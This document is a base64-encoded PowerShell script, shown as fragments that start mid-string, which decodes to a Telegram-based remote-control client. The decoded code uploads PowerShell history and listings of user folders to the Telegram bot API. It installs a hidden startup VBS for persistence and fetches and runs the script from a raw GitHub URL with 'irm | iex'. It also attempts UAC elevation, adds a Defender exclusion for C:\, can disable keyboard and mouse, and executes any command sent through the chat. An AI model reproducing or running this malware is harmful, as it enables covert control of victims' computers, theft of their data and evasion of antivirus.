0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkVmFsdWV8IE91dC1TdHJpbmcpIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooJFZhbHVlMnwgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJQb3dlcnNoZWxsIEhpc3RvcnkgYG4gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooJHBzaGlzdG9yeXwgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJgbiIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiRGaWxlUGF0aCA9ICIkZW52OnRlbXBcSGlzdG9yeS50eHQiDQpjdXJsLmV4ZSAtRiBjaGF0X2lkPSIkQ2hhdElEIiAtRiBkb2N1bWVudD1AIiRGaWxlUGF0aCIgImh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3QkVG9rZW4vc2VuZERvY3VtZW50IiB8IE91dC1OdWxsDQpSZW1vdmUtSXRlbSAtUGF0aCAkRmlsZVBhdGggLUZvcmNlDQp9DQoNCkZ1bmN0aW9uIFNob3dCdXR0b25zew0KJG1lc3NhZ2VoZWFkID0gIlByZXNzIGEgQnV0dG9uIHRvIENvbnRpbnVlLi4uIg0KJGlubGluZUtleWJvYXJkSnNvbiA9ICd7ImlubGluZV9rZXlib2FyZCI6W1t7InRleHQiOiAiRW50ZXIgQ29tbWFuZHMiLCJjYWxsYmFja19kYXRhIjogImJ1dHRvbl9jbGlja2VkIn0seyJ0ZXh0IjogIk9wdGlvbnMiLCJjYWxsYmFja19kYXRhIjogImJ1dHRvbjJfY2xpY2tlZCJ9XV19Jw0KJHBhcmFtZXJzID0gQHsNCiAgICBjaGF0X2lkID0gJGNoYXRJZA0KICAgIHRleHQgPSAkbWVzc2FnZWhlYWQNCiAgICByZXBseV9tYXJrdXAgPSAkaW5saW5lS2V5Ym9hcmRKc29uDQp9DQpJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRhcGlVcmwgLU1ldGhvZCBQT1NUIC1Db250ZW50VHlwZSAiYXBwbGljYXRpb24vanNvbiIgLUJvZHkgKCRwYXJhbWVycyB8IENvbnZlcnRUby1Kc29uIC1EZXB0aCAxMCkNCiRraWxsaW50ID0gMA0KJG9mZnNldCA9IDANCndoaWxlICgka2lsbGludCAtZXEgMCkgew0KICAgICR1cGRhdGVzID0gSW52b2tlLVJlc3RNZXRob2QgLVVyaSAiaHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdCRUb2tlbi9nZXRVcGRhdGVzP29mZnNldD0kb2Zmc2V0IiAtTWV0aG9kIEdldA0KICAgIGZvcmVhY2ggKCR1cGRhdGUgaW4gJHVwZGF0ZXMucmVzdWx0KSB7DQogICAgICAgICRvZmZzZXQgPSAkdXBkYXRlLnVwZGF0ZV9pZCArIDENCiAgICAgICAgU2xlZXAgMQ0KICAgICAgICBpZiAoJHVwZGF0ZS5jYWxsYmFja19xdWVyeS5kYXRhIC1lcSAiYnV0dG9uX2NsaWNrZWQiKSB7DQogICAgICAgICAgICAka2lsbGludCA9IDENCiAgICAgICAgfQ0KICAgICAgICBpZiAoJHVwZGF0ZS5jYWxsYmFja19xdWVyeS5kYXRhIC1lcSAiYnV0dG9uMl9jbGlja2VkIikgew0KICAgICAgICAgICAgJGtpbGxpbnQgPSAxDQogICAgICAgICAgICBPcHRpb25zDQogICAgICAgIH0NCiAgICB9DQogICAgU2xlZXAgMQ0KfQ0KJGNvbnRlbnRzID0gIiRjb21wICRlbnY6Q09NUFVURVJOQU1FICR0aWNrIFNlc3Npb24gU3RhcnRlZCINCiRwYXJhbXMgPSBAe2NoYXRfaWQgPSAkQ2hhdElEIDt0ZXh0ID0gJGNvbnRlbnRzfQ0KSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkYXBpVXJsIC1NZXRob2QgUE9TVCAtQm9keSAkcGFyYW1zDQp9DQoNCkZ1bmN0aW9uIEZvbGRlci1UcmVlew0KdHJlZSAkZW52OlVTRVJQUk9GSUxFL0Rlc2t0b3AgL0EgL0YgfCBPdXQtRmlsZSAkZW52OnRlbXAvRGVza3RvcC50eHQNCnRyZWUgJGVudjpVU0VSUFJPRklMRS9Eb2N1bWVudHMgL0EgL0YgfCBPdXQtRmlsZSAkZW52OnRlbXAvRG9jdW1lbnRzLnR4dA0KdHJlZSAkZW52OlVTRVJQUk9GSUxFL0Rvd25sb2FkcyAvQSAvRiB8IE91dC1GaWxlICRlbnY6dGVtcC9Eb3dubG9hZHMudHh0DQp0cmVlICRlbnY6QVBQREFUQSAvQSAvRiB8IE91dC1GaWxlICRlbnY6dGVtcC9BcHBkYXRhLnR4dA0KdHJlZSAkZW52OlBST0dSQU1GSUxFUyAvQSAvRiB8IE91dC1GaWxlICRlbnY6dGVtcC9Qcm9ncmFtRmlsZXMudHh0DQokemlwRmlsZVBhdGggPSIkZW52OnRlbXAvVHJlZXNPZktub3dsZWRnZS56aXAiDQpDb21wcmVzcy1BcmNoaXZlIC1QYXRoICRlbnY6VEVNUFxEZXNrdG9wLnR4dCwgJGVudjpURU1QXERvY3VtZW50cy50eHQsICRlbnY6VEVNUFxEb3dubG9hZHMudHh0LCAkZW52OlRFTVBcQXBwZGF0YS50eHQsICRlbnY6VEVNUFxQcm9ncmFtRmlsZXMudHh0IC1EZXN0aW5hdGlvblBhdGggJHppcEZpbGVQYXRoDQpzbGVlcCAxDQpjdXJsLmV4ZSAtRiBjaGF0X2lkPSIkQ2hhdElEIiAtRiBkb2N1bWVudD1AIiR6aXBGaWxlUGF0aCIgImh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3QkVG9rZW4vc2VuZERvY3VtZW50IiB8IE91dC1OdWxsDQpybSAtUGF0aCAkemlwRmlsZVBhdGggLUZvcmNlDQpXcml0ZS1PdXRwdXQgIkRvbmUuIg0KfQ0KDQpGdW5jdGlvbiBBZGQtUGVyc2lzdGFuY2V7DQokbmV3U2NyaXB0UGF0aCA9ICIkZW52OkFQUERBVEFcTWljcm9zb2Z0XFdpbmRvd3NcUG93ZXJTaGVsbFxjb3B5LnBzMSINCiRzY3JpcHRDb250ZW50IHwgT3V0LUZpbGUgLUZpbGVQYXRoICRuZXdTY3JpcHRQYXRoIC1mb3JjZQ0Kc2xlZXAgMQ0KaWYgKCRuZXdTY3JpcHRQYXRoLkxlbmd0aCAtbHQgMTAwKXsNCiAgICAiYCR0ZyA9IGAiJHRnYCIiIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRuZXdTY3JpcHRQYXRoIC1Gb3JjZQ0KICAgIGlgd3IgLVVyaSAiJHBhcmVudCIgLU91dEZpbGUgIiRlbnY6dGVtcC90ZW1wLnBzMSINCiAgICBzbGVlcCAxDQogICAgR2V0LUNvbnRlbnQgLVBhdGggIiRlbnY6dGVtcC90ZW1wLnBzMSIgfCBPdXQtRmlsZSAkbmV3U2NyaXB0UGF0aCAtQXBwZW5kDQogICAgfQ0KJHRvYmF0ID0gQCcNClNldCBvYmpTaGVsbCA9IENyZWF0ZU9iamVjdCgiV1NjcmlwdC5TaGVsbCIpDQpvYmpTaGVsbC5SdW4gInBvd2Vyc2hlbGwuZXhlIC1Ob25JIC1Ob1AgLUV4ZWMgQnlwYXNzIC1XIEhpZGRlbiAtRmlsZSAiIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xQb3dlclNoZWxsXGNvcHkucHMxIiIiLCAwLCBUcnVlDQonQA0KJHB0aCA9ICIkZW52OkFQUERBVEFcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXHNlcnZpY2UudmJzIg0KJHRvYmF0IHwgT3V0LUZpbGUgLUZpbGVQYXRoICRwdGggLUZvcmNlDQpXcml0ZS1PdXRwdXQgIlBlcnNpc3RhbmNlIEFkZGVkLiINCnJtIC1wYXRoICIkZW52OlRFTVBcdGVtcC5wczEiIC1Gb3JjZQ0KfQ0KDQpGdW5jdGlvbiBSZW1vdmUtUGVyc2lzdGFuY2V7DQpybSAtUGF0aCAiJGVudjpBUFBEQVRBXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxzZXJ2aWNlLnZicyINCnJtIC1QYXRoICIkZW52OkFQUERBVEFcTWljcm9zb2Z0XFdpbmRvd3NcUG93ZXJTaGVsbFxjb3B5LnBzMSINCldyaXRlLU91dHB1dCAiVW5pbnN0YWxsZWQuIg0KfQ0KDQpGdW5jdGlvbiBQYXVzZS1TZXNzaW9uew0KJGNvbnRlbnRzID0gIiRlbnY6Q09NUFVURVJOQU1FICRwYXVzZSBQYXVzaW5nIFNlc3Npb24uLiINCiRwYXJhbXMgPSBAe2NoYXRfaWQgPSAkQ2hhdElEIDt0ZXh0ID0gJGNvbnRlbnRzfQ0KSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkYXBpVXJsIC1NZXRob2QgUE9TVCAtQm9keSAkcGFyYW1zDQokc2NyaXB0OkFjY2VwdGVkU2Vzc2lvbj0iIg0KfQ0KDQpGdW5jdGlvbiBJcy1BZG1pbnsNCklmICghKFtTZWN1cml0eS5QcmluY2lwYWwuV2luZG93c1ByaW5jaXBhbF1bU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eV06OkdldEN1cnJlbnQoKSkuSXNJblJvbGUoW1NlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzQnVpbHRJblJvbGVdJ0FkbWluaXN0cmF0b3InKSkgew0KICAgICRjb250ZW50cyA9ICIkY2xvc2VkIEN1cnJlbnQgU2Vzc2lvbiBpcyBOT1QgQWRtaW4gJGNsb3NlZCINCiAgICAkcGFyYW1zID0gQHtjaGF0X2lkID0gJENoYXRJRCA7dGV4dCA9ICRjb250ZW50c30NCiAgICBJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRhcGlVcmwgLU1ldGhvZCBQT1NUIC1Cb2R5ICRwYXJhbXMgfCBPdXQtTnVsbA0KICAgIH0NCiAgICBlbHNlew0KICAgICRjb250ZW50cyA9ICIkdGljayBDdXJyZW50IFNlc3Npb24gSVMgQWRtaW4gJHRpY2siDQogICAgJHBhcmFtcyA9IEB7Y2hhdF9pZCA9ICRDaGF0SUQgO3RleHQgPSAkY29udGVudHN9DQogICAgSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkYXBpVXJsIC1NZXRob2QgUE9TVCAtQm9keSAkcGFyYW1zIHwgT3V0LU51bGwNCiAgICB9DQp9DQoNCkZ1bmN0aW9uIEF0dGVtcHQtRWxldmF0ZXsNCiR0b2JhdCA9IEAiDQpTZXQgV3NoU2hlbGwgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdChgIldTY3JpcHQuU2hlbGxgIikNCldTY3JpcHQuU2xlZXAgMjAwDQoNCklmIE5vdCBXU2NyaXB0LkFyZ3VtZW50cy5OYW1lZC5FeGlzdHMoYCJlbGV2YXRlYCIpIFRoZW4NCiAgQ3JlYXRlT2JqZWN0KGAiU2hlbGwuQXBwbGljYXRpb25gIikuU2hlbGxFeGVjdXRlIFdTY3JpcHQuRnVsbE5hbWUgXw0KICAgICwgYCJgImAiYCIgJiBXU2NyaXB0LlNjcmlwdEZ1bGxOYW1lICYgYCJgImAiIC9lbGV2YXRlYCIsIGAiYCIsIGAicnVuYXNgIiwgMQ0KICBXU2NyaXB0LlF1aXQNCkVuZCBJZg0KDQpXc2hTaGVsbC5SdW4gYCJwb3dlcnNoZWxsLmV4ZSAtTm9uSSAtTm9QIC1FcCBCeXBhc3MgLVcgSCAtQyBgJHRnPSckdGcnOyBpcm0gaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2JlaWdld29ybS9Qb3dlcnNoZWxsLVRvb2xzLWFuZC1Ub3lzL21haW4vQ29tbWFuZC1hbmQtQ29udHJvbC9UZWxlZ3JhbS1DMi1DbGllbnQucHMxIHwgaWV4YCIsIDAsIFRydWUNCiJADQokcHRoID0gIkM6XFdpbmRvd3NcVGFza3Ncc2VydmljZS52YnMiDQokdG9iYXQgfCBPdXQtRmlsZSAtRmlsZVBhdGggJHB0aCAtRm9yY2UNCiYgJHB0aA0KU2xlZXAgNw0Kcm0gLVBhdGggJHB0aA0KV3JpdGUtT3V0cHV0ICJEb25lLiINCn0NCg0KRnVuY3Rpb24gVG9nZ2xlLUVycm9yc3sNCklmKCRnbG9iYWw6ZXJyb3Jtc2cgLWVxIDApew0KICAgICRnbG9iYWw6ZXJyb3Jtc2cgPSAxDQogICAgJGNvbnRlbnRzID0gIiR0aWNrIEVycm9yIE1lc3NhZ2luZyBPTiAkdGljayINCiAgICAkcGFyYW1zID0gQHtjaGF0X2lkID0gJENoYXRJRCA7dGV4dCA9ICRjb250ZW50c30NCiAgICBJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRhcGlVcmwgLU1ldGhvZCBQT1NUIC1Cb2R5ICRwYXJhbXMgfCBPdXQtTnVsbA0KICAgIHJldHVybg0KICAgIH0NCklmKCRnbG9iYWw6ZXJyb3Jtc2cgLWVxIDEpew0KICAgICRnbG9iYWw6ZXJyb3Jtc2cgPSAwDQogICAgJGNvbnRlbnRzID0gIiRjbG9zZWQgRXJyb3IgTWVzc2FnaW5nIE9GRiAkY2xvc2VkIg0KICAgICRwYXJhbXMgPSBAe2NoYXRfaWQgPSAkQ2hhdElEIDt0ZXh0ID0gJGNvbnRlbnRzfQ0KICAgIEludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUJvZHkgJHBhcmFtcyB8IE91dC1OdWxsDQogICAgcmV0dXJuDQogICAgfQ0KfQ0KDQpGdW5jdGlvbiBNZXNzYWdlKFtzdHJpbmddJE1lc3NhZ2Upew0KICAgIG1zZy5leGUgKiAkTWVzc2FnZQ0KICAgIFdyaXRlLU91dHB1dCAiRG9uZS4iDQp9DQoNCiMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSBBRE1JTiBPTkxZIEZVTkNUSU9OUyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQpGdW5jdGlvbiBEaXNhYmxlLUFWew0KICAgIEFkZC1NcFByZWZlcmVuY2UgLUV4Y2x1c2lvblBhdGggQzpcDQogICAgV3JpdGUtT3V0cHV0ICJEb25lLiINCn0NCg0KRnVuY3Rpb24gRGlzYWJsZS1ISUR7DQogICAgJGNvbnRlbnRzID0gIiRlbnY6Q09NUFVURVJOQU1FICRjbG9zZWQgRGlzYWJsaW5nIEhJRCBJbnB1dHMuLiINCiAgICAkcGFyYW1zID0gQHtjaGF0X2lkID0gJENoYXRJRCA7dGV4dCA9ICRjb250ZW50c30NCiAgICBJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRhcGlVcmwgLU1ldGhvZCBQT1NUIC1Cb2R5ICRwYXJhbXMNCiAgICAkUE5QTWljZSA9IEdldC1XbWlPYmplY3QgV2luMzJfVVNCQ29udHJvbGxlckRldmljZSB8ICV7W3dtaV0kXy5kZXBlbmRlbnR9IHwgP3skXy5wbnBjbGFzcyAtZXEgJ01vdXNlJ30NCiAgICAkUE5QTWljZS5EaXNhYmxlKCkNCiAgICAkUE5QS2V5Ym9hcmQgPSBHZXQtV21pT2JqZWN0IFdpbjMyX1VTQkNvbnRyb2xsZXJEZXZpY2UgfCAle1t3bWldJF8uZGVwZW5kZW50fSB8ID97JF8ucG5wY2xhc3MgLWVxICdLZXlib2FyZCd9DQogICAgJFBOUEtleWJvYXJkLkRpc2FibGUoKQ0KfQ0KDQpGdW5jdGlvbiBFbmFibGUtSElEew0KICAgICRjb250ZW50cyA9ICIkZW52OkNPTVBVVEVSTkFNRSAkdGljayBFbmFibGluZyBISUQgSW5wdXRzLi4iDQogICAgJHBhcmFtcyA9IEB7Y2hhdF9pZCA9ICRDaGF0SUQgO3RleHQgPSAkY29udGVudHN9DQogICAgSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkYXBpVXJsIC1NZXRob2QgUE9TVCAtQm9keSAkcGFyYW1zDQogICAgJFBOUE1pY2UgPSBHZXQtV21pT2JqZWN0IFdpbjMyX1VTQkNvbnRyb2xsZXJEZXZpY2UgfCAle1t3bWldJF8uZGVwZW5kZW50fSB8ID97JF8ucG5wY2xhc3MgLWVxICdNb3VzZSd9DQogICAgJFBOUE1pY2UuRW5hYmxlKCkNCiAgICAkUE5QS2V5Ym9hcmQgPSBHZXQtV21pT2JqZWN0IFdpbjMyX1VTQkNvbnRyb2xsZXJEZXZpY2UgfCAle1t3bWldJF8uZGVwZW5kZW50fSB8ID97JF8ucG5wY2xhc3MgLWVxICdLZXlib2FyZCd9DQogICAgJFBOUEtleWJvYXJkLkVuYWJsZSgpDQp9DQoNCg0KDQojIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSBURUxFR1JBTSBGVUNUSU9OUyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCkZ1bmN0aW9uIElzQXV0aHsgDQpwYXJhbSgkQ2hlY2tNZXNzYWdlKQ0KICAgIGlmICgoJG1lc3NhZ2VzLm1lc3NhZ2UuZGF0ZSAtbmUgJExhc3RVbkF1dGhNc2cpIC1hbmQgKCRDaGVja01lc3NhZ2UubWVzc2FnZS50ZXh0IC1saWtlICRQYXNzUGhyYXNlKSAtYW5kICgkQ2hlY2tNZXNzYWdlLm1lc3NhZ2UuZnJvbS5pc19ib3QgLWxpa2UgJGZhbHNlKSl7DQogICAgICAgICRzY3JpcHQ6QWNjZXB0ZWRTZXNzaW9uPSJBdXRoZW50aWNhdGVkIg0KICAgICAgICAkY29udGVudHMgPSAiJGNvbXAgJGVudjpDT01QVVRFUk5BTUUgJHRpY2sgU2Vzc2lvbiBTdGFydGluZy4uLiINCiAgICAgICAgJHBhcmFtcyA9IEB7Y2hhdF9pZCA9ICRDaGF0SUQgO3RleHQgPSAkY29udGVudHN9DQogICAgICAgIEludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUJvZHkgJHBhcmFtcw0KICAgICAgICBTaG93QnV0dG9ucw0KICAgICAgICByZXR1cm4gJG1lc3NhZ2VzLm1lc3NhZ2UuY2hhdC5pZA0KICAgIH1FbHNle3JldHVybiAwfQ0KfQ0KDQpGdW5jdGlvbiBDbGVhblN0cmluZ3sNCnBhcmFtKCRTdHJlYW0pDQokRml4ZWRSZXN1bHQ9QCgpDQokU3RyZWFtIHwgT3V0LUZpbGUgLUZpbGVQYXRoIChKb2luLVBhdGggJGVudjp0ZW1wIC1DaGlsZFBhdGggInRnYzIudHh0IikgLUZvcmNlDQokUmVhZEFzQXJyYXk9IEdldC1Db250ZW50IC1QYXRoIChKb2luLVBhdGggJGVudjp0ZW1wIC1DaGlsZFBhdGggInRnYzIudHh0IikgfCB3aGVyZSB7JF8ubGVuZ3RoIC1ndCAwfQ0KZm9yZWFjaCAoJGxpbmUgaW4gJFJlYWRBc0FycmF5KXsNCiAgICAkQXJyT2JqPU5ldy1PYmplY3QgcHNvYmplY3QNCiAgICAkQXJyT2JqIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgIkxpbmUiIC1WYWx1ZSAoJGxpbmUpLnRvc3RyaW5nKCkNCiAgICAkRml4ZWRSZXN1bHQgKz0kQXJyT2JqDQp9DQpyZXR1cm4gJEZpeGVkUmVzdWx0DQp9DQoNCkZ1bmN0aW9uIFNlbmRNU0d7DQpwYXJhbSgkTWVzc2FnZXRleHQsJENoYXRJRCkNCiRGaXhlZFRleHQ9Q2xlYW5TdHJpbmcgLVN0cmVhbSAkTWVzc2FnZXRleHQNCiRNdHMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSAndGV4dCcgLVZhbHVlICRGaXhlZFRleHQubGluZSAtRm9yY2UNCiRKc29uRGF0YT0oJE10cyB8IENvbnZlcnRUby1Kc29uKQ0KaXJtIC1NZXRob2QgUG9zdCAtVXJpICgkVVJMICsnL3NlbmRNZXNzYWdlJykgLUJvZHkgJEpzb25EYXRhIC1Db250ZW50VHlwZSAiYXBwbGljYXRpb24vanNvbiINCiRjYXRjaGVyID0gJEZpeGVkVGV4dA0KfQ0KDQpGdW5jdGlvbiBSZWNlaXZlTVNHew0KdHJ5ew0KICAgICRpbk1lc3NhZ2U9aXJtIC1NZXRob2QgR2V0IC1VcmkgKCRVUkwgKycvZ2V0VXBkYXRlcycpIC1FcnJvckFjdGlvbiBTdG9wDQogICAgcmV0dXJuICRpbk1lc3NhZ2UucmVzdWx0Wy0xXQ0KICAgIH0NCkNhdGNoe3JldHVybiAiVEdGYWlsIn0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIFNUQVJUIFRIRSBXQUlUIFRPIENPTk5FQ1QgTE9PUCAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KV2hpbGUgKCR0cnVlKXsNClNsZWVwIDINCiRtZXNzYWdlcz1SZWNlaXZlTVNHDQogICAgaWYgKCRMYXN0VW5BdXRoTXNnIC1saWtlICRudWxsKXskTGFzdFVuQXV0aE1zZz0kbWVzc2FnZXMubWVzc2FnZS5kYXRlfQ0KICAgIGlmICghKCRBY2NlcHRlZFNlc3Npb24pKXskQ2hlY2tBdXRoZW50aWNhdGlvbj1Jc0F1dGggLUNoZWNrTWVzc2FnZSAkbWVzc2FnZXN9DQogICAgRWxzZXsNCiAgICAgICAgaWYgKCgkQ2hlY2tBdXRoZW50aWNhdGlvbiAtbmUgMCkgLWFuZCAoJG1lc3NhZ2VzLm1lc3NhZ2UudGV4dCAtbm90bGlrZSAkUGFzc1BocmFzZSkgLWFuZCAoJG1lc3NhZ2VzLm1lc3NhZ2UuZGF0ZSAtbmUgJGxhc3RleGVjTWVzc2FnZUlEKSl7DQogICAgICAgICAgICB0cnl7DQogICAgICAgICAgICAgICAgJFJlc3VsdD1pZWB4KCRtZXNzYWdlcy5tZXNzYWdlLnRleHQpIC1FcnJvckFjdGlvbiBTdG9wDQogICAgICAgICAgICAgICAgJFJlc3VsdA0KICAgICAgICAgICAgICAgIGlmICgoJHJlc3VsdC5sZW5ndGggLWVxIDApIC1vciAoJG1lc3NhZ2VzLm1lc3NhZ2UudGV4dCAtY29udGFpbnMgIktleUNhcHR1cmUiKSAtb3IgKCRtZXNzYWdlcy5tZXNzYWdlLnRleHQgLWNvbnRhaW5zICJFeGZpbHRyYXRpb24iKSl7fQ0KICAgICAgICAgICAgICAgIGVsc2V7DQogICAgICAgICAgICAgICAgU2VuZE1TRyAtTWVzc2FnZXRleHQgJFJlc3VsdCAtQ2hhdElEICRtZXNzYWdlcy5tZXNzYWdlLmNoYXQuaWQNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfWNhdGNoIHsNCiAgICAgICAgICAgICAgICAgICAgaWYoJGdsb2JhbDplcnJvcm1zZyAtZXEgMSl7DQogICAgICAgICAgICAgICAgICAgIFNlbmRNU0cgLU1lc3NhZ2V0ZXh0ICgkXy5leGNlcHRpb24ubWVzc2FnZSkgLUNoYXRJRCAkbWVzc2FnZXMubWVzc2FnZS5jaGF0LmlkDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICBGaW5hbGx5eyRsYXN0ZXhlY01lc3NhZ2VJRD0kbWVzc2FnZXMubWVzc2FnZS5kYXRlfQ0KICAgICAgICB9DQogICAgfQ==' +STRING $b64 = 'JFRva2VuID0gIiR0ZyIgICMgUkVQTEFDRSAkdGcgd2l0aCBZb3VyIFRlbGVncmFtIEJvdCBUb2tlbiAoIExFQVZFIEFMT05FIFdIRU4gVVNJTkcgQSBTVEFHRVIuLiBlZy4gQSBGbGlwcGVyIFplcm8sICBTdGFydC1UR0MyLUNsaWVudC52YnMgZXRjICkNCiRQYXNzUGhyYXNlID0gIiRlbnY6Q09NUFVURVJOQU1FIiAjICdwYXNzd29yZCcgZm9yIHRoaXMgY29ubmVjdGlvbiAoY29tcHV0ZXJuYW1lIGJ5IGRlZmF1bHQpDQokZ2xvYmFsOmVycm9ybXNnID0gMCAjIDEgPSByZXR1cm4gZXJyb3IgbWVzc2FnZXMgdG8gY2hhdCAob2ZmIGJ5IGRlZmF1bHQpDQokcGFyZW50ID0gImh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9iZWlnZXdvcm0vUG93ZXJzaGVsbC1Ub29scy1hbmQtVG95cy9tYWluL0NvbW1hbmQtYW5kLUNvbnRyb2wvVGVsZWdyYW0tQzItQ2xpZW50LnBzMSIgIyBwYXJlbnQgc2NyaXB0IFVSTCAoZm9yIHJlc3RhcnRzIGFuZCBwZXJzaXN0YW5jZSkNCiRhcGlVcmwgPSAiaHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdCRUb2tlbi9zZW5kTWVzc2FnZSINCiRVUkwgPSAnaHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdHswfScgLWYgJFRva2VuDQokQWNjZXB0ZWRTZXNzaW9uPSIiDQokTGFzdFVuQXV0aGVudGljYXRlZE1lc3NhZ2U9IiINCiRsYXN0ZXhlY01lc3NhZ2VJRD0iIg0KDQojIFN0YXJ0dXAgRGVsYXkNClNsZWVwIDUNCmlmKFRlc3QtUGF0aCAiQzpcV2luZG93c1xUYXNrc1xzZXJ2aWNlLnZicyIpe3JtIC1wYXRoICJDOlxXaW5kb3dzXFRhc2tzXHNlcnZpY2UudmJzIiAtRm9yY2V9DQoNCiMgR2V0IENoYXQgSUQgZnJvbSB0aGUgYm90DQp3aGlsZSgkY2hhdElELmxlbmd0aCAtZXEgMCl7DQogICAgJHVwZGF0ZXMgPSBJbnZva2UtUmVzdE1ldGhvZCAtVXJpICgkdXJsICsgIi9nZXRVcGRhdGVzIikNCiAgICBpZiAoJHVwZGF0ZXMub2sgLWVxICR0cnVlKSB7JGxhdGVzdFVwZGF0ZSA9ICR1cGRhdGVzLnJlc3VsdFstMV0NCiAgICBpZiAoJGxhdGVzdFVwZGF0ZS5tZXNzYWdlIC1uZSAkbnVsbCl7JGNoYXRJRCA9ICRsYXRlc3RVcGRhdGUubWVzc2FnZS5jaGF0LmlkfX0NCiAgICBTbGVlcCAxMA0KfQ0KDQojIEVtb2ppIGNoYXJhY3RlcnMgYW5kIG90aGVyIHNldHVwDQokY2hhckNvZGVzID0gQCgweDI3MDUsIDB4MUY0QkIsIDB4Mjc0QywgMHgxRjU1QywgMHgxRjUwRCwgMHgxRjUxNywgMHgyM0Y4KQ0KJGNoYXJzID0gJGNoYXJDb2RlcyB8IEZvckVhY2gtT2JqZWN0IHsgW2NoYXJdOjpDb252ZXJ0RnJvbVV0ZjMyKCRfKSB9DQokdGljaywgJGNvbXAsICRjbG9zZWQsICR3YWl0aW5nLCAkZ2xhc3MsICRjbWRlLCAkcGF1c2UgPSAkY2hhcnMNCiRzY3JpcHREaXJlY3RvcnkgPSBHZXQtQ29udGVudCAtcGF0aCAkTXlJbnZvY2F0aW9uLk15Q29tbWFuZC5OYW1lIC1SYXcNCiRNdHMgPSBOZXctT2JqZWN0IHBzb2JqZWN0IA0KJE10cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lICdjaGF0X2lkJyAtVmFsdWUgJENoYXRJRA0KDQpGdW5jdGlvbiBQb3N0LU1lc3NhZ2V7DQogICAgJHNjcmlwdDpwYXJhbXMgPSBAe2NoYXRfaWQgPSAkQ2hhdElEIDt0ZXh0ID0gJGNvbnRlbnRzfQ0KICAgIEludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUJvZHkgJHBhcmFtcw0KICAgIH0NCg0KIyBNZXNzYWdlIHdhaXRpbmcgZm9yIHBhc3NwaHJhc2UNCiRjb250ZW50cyA9ICIkY29tcCAkZW52OkNPTVBVVEVSTkFNRSAkd2FpdGluZyBXYWl0aW5nIHRvIENvbm5lY3QuLiINClBvc3QtTWVzc2FnZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIENPTU1BTkRTIC8gRlVOQ1RJT05TIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KRnVuY3Rpb24gT3B0aW9uc3sNCiRjb250ZW50cyA9ICI9PT09PT09PT09